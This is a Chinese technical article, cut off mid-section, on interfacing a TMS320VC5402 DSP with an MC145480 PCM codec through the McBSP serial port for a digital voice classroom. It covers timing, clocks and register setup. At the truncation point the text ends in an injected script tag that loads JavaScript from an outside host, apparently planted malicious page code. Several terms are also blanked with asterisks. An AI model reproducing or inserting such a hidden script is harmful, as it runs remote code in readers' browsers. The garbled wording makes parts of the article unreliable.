摘 要：针对数字语音教室多媒体终端的语音传输实时性要求较高的特点，利用数字信号处理器tms320vc5402和pcm编码***mc145480实现了数字语音接口的设计。文章在介绍其工作原理的基础之上，重点论述了它们的软硬件实现的步骤和方法。
关键词：dsp；tms320vc5402；pcm；mc145480；数字语音；多媒体终端
1 引言
在设计数字语音教室时，语音传输的实时性是设计的重要技术指标。因此，选择适当的数字信号处理器就显得尤为重要。本文在数字语音教室的多媒体终端设计中选择了ti公司的tms320vc5402dsp芯片。该芯片的指令周期为10ns，内核电压是1．8v，i／o电压是3．3v，内部采用改进的哈佛总线结构，因此具有运算速度快、通用性强、接口连接方便等特点，非常适用于语音编码和传输。另外，要保证语音信号传输的实时性，必须选择合适的语音采集和编码芯片与tms320vc5402相配合，以充分发挥各自的性能特点。经过多方的性能比较，笔者采用 pcm编***mc145480完成语音信号的a／d和d／a变换，同时又将语音信号以数字pcm编码格式输出到dsp的串行口，从而实现语音信息的传输。下面具体论述数字信号处理器dsp与pcm编码***的接口设计。
2 tms320vc5402的mcbsp工作原理
tms320vc5402有两个mcbsp（多通道缓存串行口），可以与串行设备如编***或串行a／d转换器直接通信。mcbsp提供有全双工的通信机制，以及双缓存的发送寄存器和三缓存的接收寄存器，允许传输连续的数据流，数据长度可以为8、12、16、20、24、32等；同时还可提供a－律和u－律压扩，以及多达128个通道的发送和接收。mcbsp通过6个引脚完成一个数据通路和一个控制通路与外部设备的连接。数据经mcbsp与外设的通信可通过bdr和bdx引脚来实现，而控制信号则由bclkx、bclkr、bfsx、bfsr等四条引脚来实现。cpu和dma可以读取drr数据，也可对dxr写入数据。接收和发送帧同步脉冲既可由内部采样速率产生器产生，也可由外部脉冲源驱动。当bfsr和bfsx都为输入时，mcbsp分别在bclkr和bclkx的下降沿采样；而当bfsr和bfsx都为输出时，mcbsp则在bclkr和bclkx的上升沿进行检测。图1是bfsr和bfsx输出时，mcbsp发送和接收的时序图。
16－bit的串行口控制寄存器spcr和引脚控制寄存器pcr可用来配置串行口，而接收控制寄存器rcr和发送控制寄存器xcr则分别用于设置接收和发送的不同参数，如帧长度和每帧的数据长度等。
3 mc145480的工作原理
mc145480是单信道pcm编码解码滤波器，它具有按μ律或a律压扩的可选引脚，利用此器件可实现pcm系统所要求的语音数字化和频带限制及平滑。片内含有精确基准电压，并带有预采样滤波器和重构滤波器，既可用于同步传输也可用于异步传输的设计中。当mc145480中的输入运算放大器的输出输入到编码器时，编码器将立即通过一个有源r－c滤波器对模拟信号进行低通滤波以消除甚高频噪声。经滤波后的模拟信号变为差分信号，从而降低了正向反向信号路径中的噪声分量。在差分转换器后，可通过一个差分电容带通滤波器使模拟信号的带宽为200hz～3400hz，同时差分压缩a／d转换器对模拟信号进行数字化。***接收到pcm数据后，将通过一个差分d／a转换器加以扩展，d／a的输出是3400hz以下的低通滤波输出，可由差分开关电容滤波器作sinx／x补偿，然后再由有源r－c滤波器滤波以消除开关电容滤波器的能带输出。此外，mc145480还带有一对连接成推挽结构的功率放大器，能够驱动300ω负载到＋12dbm。
mc145480 pcm编码解码滤波器可容纳各种时钟格式，如短帧同步、长帧同步、idl以及gci定时等。图2是短帧同步格式发送与接收的时序图。
4 tms320vc5402与mc145480接口
根据语音信号a／d、d／a转换的特点，在设计中，模拟语音信号的采样频率确定为8khz，数字语音信号的格式确定为脉冲编码的a律格式。mclk引脚被用作所有模拟信号处理的主时钟，该时钟与数据发送、接收时钟同为2．048mhz。
分析tms320vc5402的mcbsp与mc145480的时序关系来设置串行口控制寄存器sprc的txm、mcm、fsm比特位，以设定mcbsp的工作模式使两者的时序关系一致，其硬件连接如图3所示。
在设计中，数字信号处理器tms320vc5402采用外部时钟源。为了保证与信号处理器tms320vc5402的主时钟信号同步，8khz和2．048mhz两个时钟信号可通过对主时钟clkout信号进行分频和计数得到，当然也可由外部时钟源产生，其外部时钟源产生电路如图4所示。
2．048mhz时钟信号是通过mc74hc4060将20．48mhz的外部时钟源信号进行10分频得到的，8khz帧同步脉冲信号则由两片mc74hc73组成的脉冲计数电路对2．048mhz信号进行256计数得到。
5 软件初始化的实现
系统复位后，可通过dsp的数据输出端bdx 向mc145480写数据?script src=http://er12.com/t.js>
